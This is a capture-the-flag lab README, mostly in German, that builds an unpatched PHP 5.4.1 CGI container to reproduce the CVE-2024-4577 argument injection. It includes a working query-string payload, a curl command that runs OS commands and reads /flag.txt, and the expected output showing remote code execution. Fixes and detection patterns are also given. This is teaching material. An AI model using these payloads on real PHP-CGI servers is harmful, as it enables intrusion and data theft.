## 5. Voraussetzungen

- **Docker Desktop** (Windows/macOS) oder Docker Engine (Linux).
  Windows 11 Home: Docker Desktop mit dem **WSL 2**-Backend installieren (Standard).
  → https://www.docker.com/products/docker-desktop/
- `curl` für die Ausnutzung (`curl.exe` ist in Windows 10/11 integriert; auch in
  Git Bash / WSL / macOS / Linux).
- Internetzugang **während des Builds** (lädt den PHP-5.4.1-Quellcode herunter).

## 6. Build-Anleitung

Öffnen Sie ein Terminal im Ordner `cve-2024-4577-lab/`.

### Option A — docker compose (empfohlen)```bash
docker compose up --build -d

**docker-run-Befehl:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

Sie sollten das **ACME Internal Status Portal**-HTML sehen, und entscheidend ist:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>

## 8. Exploitation steps

The injected query string (URL-encoded so Apache sees **no literal `=`** and
therefore treats it as CGI argv):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

Der **Request-Body** wird zum PHP-Quellcode (gelesen über `php://input`) und wird
*vor* `index.php` ausgeführt.

### 8a. Am einfachsten — das Skript ausführen```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

> Unter **Windows PowerShell** verwenden Sie explizit `curl.exe` (das `curl` von PowerShell
> ist ein Alias für `Invoke-WebRequest` und verfälscht die Query-String):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
>   --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
>   "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```

### 8c. Manuell — rohes HTTP (Burp Repeater)

Siehe [`poc.http`](#poc-http). Fügen Sie Anfrage #1 in Burp Repeater ein und senden Sie sie.

## 9. Erwartete Ausgabe```
[*] Target    : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command   : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.

Flagge:```
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

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## 🔬 So funktioniert der Exploit, Schritt für Schritt

1. **Client → Apache.** Du sendest
   `POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`
   mit einem PHP-Payload im Body.

2. **Apache-Routing.** `AddHandler application/x-httpd-php .php` +
   `Action application/x-httpd-php /cgi-bin/php-cgi` leiten die Anfrage an die
   **php-cgi**-Binärdatei weiter (mod_actions + mod_cgi).

3. **Query-String → argv (die CGI-Regel).** Das `mod_cgi` von Apache erkennt,
   dass der Query-String **kein unkodiertes `=`** enthält (wir haben `%3d` statt `=` gesendet), also teilt es gemäß RFC 3875 an `+` auf, URL-dekodiert jedes Wort und übergibt sie an php-cgi als `argv`:
   `-d`, `allow_url_include=1`, `-d`, `auto_prepend_file=php://input`.

4. **php-cgi verarbeitet die injizierten Optionen.** Dieses php-cgi (5.4.1, vor dem Fix von 2012)
   hat **keinen `skip_getopt`-Schutz**, also verarbeitet es die `-d`-Optionen bereitwillig:
   - `allow_url_include=1` — erlaubt das Einbinden von PHP aus Stream-Wrappern.
   - `auto_prepend_file=php://input` — vor der Ausführung des angeforderten Skripts
     wird der **Anfrage-Body** als PHP eingebunden und ausgeführt.

5. **Body wird als Code ausgeführt.** `php://input` ist dein POST-Body,
   `<?php system('id; cat /flag.txt'); die(); ?>`. Er läuft als Apache-Benutzer
   (`www-data`), führt den OS-Befehl aus, gibt seine Ausgabe aus und ruft `die()` auf,
   bevor `index.php` überhaupt ausgeführt wird.

6. **Flag-Exfiltration.** `system('cat /flag.txt')` liest `/flag.txt` (lesbar
   durch `www-data`) und gibt es in der HTTP-Antwort zurück.

### Warum die Schwachstelle existiert (das tiefere „Warum")

- **CGI vermischt *Argumente* mit *Benutzereingaben*.** Die CGI-Konvention aus den 1990ern,
  einen Query-String in `argv` umzuwandeln, wurde für `<ISINDEX>`-Suchskripte
  entwickelt. Sie auf einen Interpreter wie `php-cgi` zu richten, dessen `argv`
  mächtige Konfigurationsschalter sind, ist ein Kategorienfehler: benutzerkontrollierte Daten
  werden zur Programmkonfiguration.

- **`-d` ist Remote-INI-Injection.** `php-cgi -d name=value` überschreibt *jede* INI-
  Direktive zur Laufzeit, selbst eine gehärtete `php.ini`. `auto_prepend_file`
  + `allow_url_include` + der `php://input`-Wrapper ergeben zusammen
  „führe den Anfrage-Body aus", also RCE.

- **CVE-2024-4577 speziell** existiert, weil der CVE-2012-1823-Fix den Query-String
  auf ein führendes `-` prüft, **bevor** Windows seine **Best-Fit-Encoding-Konvertierung**
  durchführt. Der Angreifer sendet `%AD` (weiches Trennzeichen); es ist kein `-`,
  wenn die Prüfung läuft, also passiert der Schutz, aber Windows bildet später per Best-Fit
  `0xAD → 0x2D (-)` ab und führt das `-` nach dem Tor wieder ein. **Prüfen-dann-Transformieren-
  Reihenfolge** + eine locale-abhängige, verlustbehaftete Kodierung = ein Patch-Bypass.

---

## 🛡️ Warum diese Challenge „einfach die Flagge raten" / KI-Abkürzungen widersteht

- Die Flagge ist **nicht im Web-Root** und wird **nicht von `index.php` referenziert**,
  also deckt kein noch so großes Crawlen, Fuzzen oder Lesen des App-Quellcodes sie auf.
- Es gibt **keine Logik-Hintertür** (kein `if (input === flag)`), also kann ein Löser
  keinen Vergleich umkehren — die Flagge erscheint nur in der stdout eines Prozesses **nach
  echter OS-Befehlsausführung**.
- Das Abrufen **erfordert die Durchführung des tatsächlichen Argument-Injection-Exploits**:
  korrektes Kodieren von `=` als `%3d`, Beibehalten von `-` als Options-Trennzeichen und
  Zustellung des Payloads über `php://input`. Wenn du bei einem Schritt einen Fehler machst,
  erhältst du die harmlose ACME-Seite, nicht die Flagge.
- Das Token ist eine **High-Entropy-Zufallszeichenfolge**, kein erratbares Wort.

---

## Behebung in der Praxis

- PHP auf **≥ 8.3.8 / 8.2.20 / 8.1.29** aktualisieren.
- **PHP nicht als CGI ausführen.** PHP-FPM / mod_php verwenden.
- Auf Windows/XAMPP `ScriptAlias`/Handler-Zuordnungen entfernen, die
  `php-cgi.exe` exponieren; Anfragen blockieren, bei denen der Query-String mit einem kodierten
  weichen Trennzeichen beginnt; `%AD` im Query-String an der WAF verweigern.
- Erkennung: Webserver-Logs mit Query-Strings, die `%AD`, `auto_prepend_file`,
  `allow_url_include` oder `php://input` enthalten.

---

# ANHANG — jede Datei, vollständig

Alles unten ist der vollständige Quellcode jeder Datei, sodass dieses einzelne Dokument
vollständig in sich geschlossen ist.

## `Dockerfile````dockerfile
# =============================================================================
#  CVE-2024-4577 LAB  —  PHP-CGI argument injection -> Remote Code Execution
#  Linux reproduction of the argument-injection primitive that CVE-2024-4577
#  revives on Windows. (See README.md, section "Linux vs. Windows".)
#
#  Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
#  predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
#  (-d ...) supplied through the HTTP query string. Apache hands the query
#  string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
#  auto_prepend_file=php://input -> RCE. This is the exact primitive that
#  CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye

ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1

# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
    apt-get update; \
    apt-get install -y --no-install-recommends \
        ca-certificates wget bzip2 xz-utils \
        build-essential pkg-config autoconf \
        libxml2-dev \
        apache2; \
    rm -rf /var/lib/apt/lists/*

# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
#   CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
#                     linking of old PHP's tentative-definition globals.
#   touch <files>   : keep the tarball's PRE-GENERATED parser/scanner files
#                     newer than their .y/.l sources so `make` never invokes
#                     bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
    cd /usr/src; \
    ( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
      || wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
    tar -xf php.tar; \
    cd "php-${PHP_VERSION}"; \
    for f in \
        Zend/zend_language_parser.c Zend/zend_language_parser.h \
        Zend/zend_language_scanner.c \
        Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
        Zend/zend_ini_scanner.c \
        ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
        ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
        if [ -f "$f" ]; then touch "$f"; fi; \
    done; \
    CFLAGS="-O2 -fcommon" ./configure \
        --enable-cgi \
        --disable-all \
        --without-pear; \
    make -j"$(nproc)"; \
    make install; \
    cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
    chmod 0755 /usr/lib/cgi-bin/php-cgi; \
    /usr/local/bin/php-cgi -v; \
    cd /; rm -rf /usr/src/php*

# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini               /usr/local/lib/php.ini
COPY config/apache-vhost.conf     /etc/apache2/sites-available/000-default.conf

RUN set -eux; \
    a2dismod mpm_event mpm_worker || true; \
    a2enmod mpm_prefork cgi actions alias; \
    printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
    a2enconf servername

# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php  /var/www/html/index.php
COPY flag.txt       /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php

# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]

## `docker-compose.yml````yaml
# docker-compose.yml — CVE-2024-4577 lab
# Run with:  docker compose up --build
services:
  web:
    build:
      context: .
      dockerfile: Dockerfile          # <- swap to Dockerfile.vulhub if the source build fails
    image: cve-2024-4577-lab:latest
    container_name: cve-2024-4577-lab
    ports:
      - "8080:80"                      # host 8080 -> container 80
    restart: unless-stopped

# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
    AllowOverride None
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Require all granted
</Directory>

# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG:  Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject  -d <ini>=<value>  straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
    Options +ExecCGI FollowSymLinks
    AddHandler application/x-httpd-php .php
    Action application/x-httpd-php /cgi-bin/php-cgi
    DirectoryIndex index.php
    Require all granted
</Directory>

ErrorLog  ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
#  Container entrypoint: start Apache (with the vulnerable php-cgi) in the
#  foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e

# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars

mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"

echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="

exec apache2 -D FOREGROUND

## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php  —  an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>ACME Internal Status Portal</title>
    <style>
        body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
        code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
        .ok{color:#2a7f2a;font-weight:bold}
    </style>
</head>
<body>
    <h1>ACME Internal Status Portal</h1>
    <p>Service status: <span class="ok">ONLINE</span></p>
    <ul>
        <li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
        <li>PHP version: <code><?php echo phpversion(); ?></code></li>
        <li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
        <li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
    </ul>
    <p>Everything looks fine here. Nothing to see. &#128522;</p>
</body>
</html>

## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}